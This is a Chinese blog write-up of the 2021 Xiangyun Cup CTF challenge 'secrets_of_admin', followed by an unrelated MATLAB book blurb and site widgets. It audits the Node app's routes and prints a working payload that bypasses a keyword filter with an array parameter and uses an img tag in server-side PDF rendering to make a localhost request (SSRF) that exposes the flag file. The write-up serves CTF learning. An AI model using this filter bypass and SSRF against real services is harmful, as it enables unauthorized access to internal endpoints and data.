[2021祥云杯]secrets_of_admin

1.题目给了源码,简单看了一下,重点需要关注/routes/index.js中的三个路由和数据库执行文件database.ts即可

2.首先看到database.ts文件,一共两张表:users、files,其中users表中里面保存了admin用户的账号密码,另外再往files表中插入了一条文件数据,这里到下面再解析。

image-20231023183803511

3.利用给出的账号密码登陆admin账号,接下来看到router.post('admin')这个路由,checkAuth函数我们是已经通过校验的,因为我们账号并不是superuser/login路由就已经isadmin=1了。这个/admin路由主要看我们输入的数据content,它会先嵌入template中,再被packjson文件中安装的pdf包的toFile()方法转换为pdf文件,再写入到随机uuid的文件名内。

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
    let token = req.signedCookies['token']
    if (token && token["username"]) {
        if (token.username === 'superuser'){
            next(createError(404)) // superuser is disabled since you can't even find it in database :)
        }
        if (token.isAdmin === true) {
            next();
        }
        else {
            return res.redirect('/')
        }
    } else {
        next(createError(404));
    }
}

image-20231023183626914

4.下面又调用了getCheckSum方法,该方法按照文件的哈希值生成了一段校验码。然后调用DB.create()方法将我们上传转换的pdf文件名和校验码给插入到数据表files中了。

const getCheckSum = (filename: string): Promise<string> => {
    return new Promise((resolve, reject) => {
        const shasum = crypto.createHash('md5');
        try {
            const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
            s.on('data', (data) => {
                shasum.update(data)
            })
            s.on('end', () => {
                return resolve(shasum.digest('hex'));
            })
        } catch (err) {
            reject(err)
        }
    })
}

image-20231023184718140

5.接下来我们直接先看'/api/files/:id'路由,该路由首先会判断我们是否为superuser用户,接下来调用DB.getFile方法,根据我们的token中的用户admin和我们get中传递的校验码id在files表中查找相关信息,并取得文件名,在/files/目录下将文件给返回。这个时候就要联系上一步分析的/admin上传方法了,在这个路由,我们根本看不到我们之前输入的数据content转化成的pdf文件。因为以下两点:

  • 首先,校验码是转化后的pdf文件哈希值,这个我们根本不知道是什么。
  • 其次,一开始审计的时候注意到这一块插入files表并没有做预编译,但通过上面分析完结果才发现这三个参数都是固定死的。注意插入的数据库语句: await DB.Create('superuser', filename, checksum),也就是INSERT INTO files(username, filename, checksum) VALUES('superuser', {'uuid}.pdf', '{hash_value}');。这里固定死了是superuser用户,因此我们admin用户再怎么输入的数据转换的文件,都不可能被查询得到。
router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

image-20231023185515309

6.其实我们下载的文件中,目录还有一条信息,那就是flag文件一开始就存在于/files/目录下的。而我们第一步开始分析的初始化时,往files表中插入的下面这条初始化的sql数据。尽管我们有可传递的flag文件校验码(该文件的哈希值),但是该文件所属的superuser用户根本不存在的。所以我们如果用admin用户的身份来传递这条校验码,也是在数据表files中查询不出数据的。

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`)

7.这个时候,最后看的那个路由/api/files就是破局的关键。当我们访问这个路由,并传递对应的参数,它就可以给我们往files表中插入一条自定义的数据。这里我们不但解决了校验码未知的问题,并且还解决了查询用户固定为superuser的问题,同时又能顺利读取/files/目录下flag文件。但是又有个问题,那就是这里需要本地127.0.0.1进行访问,也就是需要ssrf。

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

8.又回到了最开始/admin,我们唯一可利用的输入点就在那里。这里提一下,当我们把html文本转为pdf时,里面的script脚本文件会自动加载解析。也就是这里能触发xss,当我们构造一个图片src或者别的标签自定义弹窗时,就可以构造请求本地的/api/files了。

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

9.这里有waf过滤了尖括号这些,参考别的文章可以用数组进行绕过。直接用img标签即可,试了一下meta标签,环境直接崩溃。

payload:content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3Dflag%26checksum%3D666">

10.最后直接访问/api/files/666即可下载flag,后面试了script标签的window跳转和AJAX发送也是可以的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Undocumented_Secrets_of_MATLAB_Java_Programming.part3 Undocumented_Secrets_of_MATLAB_Java_Programming 第3部分(共3部分) http://undocumentedmatlab.com/books/matlab-java This book shows how using Java can significantly improve Matlab program appearance and functionality. This can be done easily and even without any prior Java knowledge. Readers are led step-by-step from simple to complex customizations. Within the book’s 700 pages, thousands of code snippets, hundreds of screenshots and ~1500 online references are provided to enable the utilization of this book as both a sequential tutorial and as a random-access reference suited for immediate use. This book demonstrates how: The Matlab programming environment relies on Java for numerous tasks, including networking, data-processing algorithms and graphical user-interface (GUI) We can use Matlab for easy access to external Java functionality, either third-party or user-created Using Java, we can extensively customize the Matlab environment and application GUI, enabling the creation of visually appealing and usable applications No prior Java knowledge is required. All code snippets and examples are self-contained and can generally be used as-is. Advanced Java concepts are sometimes used, but understanding them is not required to run the code. Java-savvy readers will find it easy to tailor code samples for their particular needs; for Java newcomers, an introduction to Java and numerous online references are provided. No toolbox, Simulink or Stateflow is necessary for using this book – only the core Matlab product. These extra tools indeed contain many other Java-based aspects, but they are not covered in this book. Perhaps a future book will describe them. This book shows readers how to use and discover the described components, using nothing but Matlab itself as the discovery tool. In no case is illegal hacking implied or necessary for the discovery or usage of anything presented in this book. As far as I know, everything in this book is legal and within the bounds of the Matlab license agreement.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值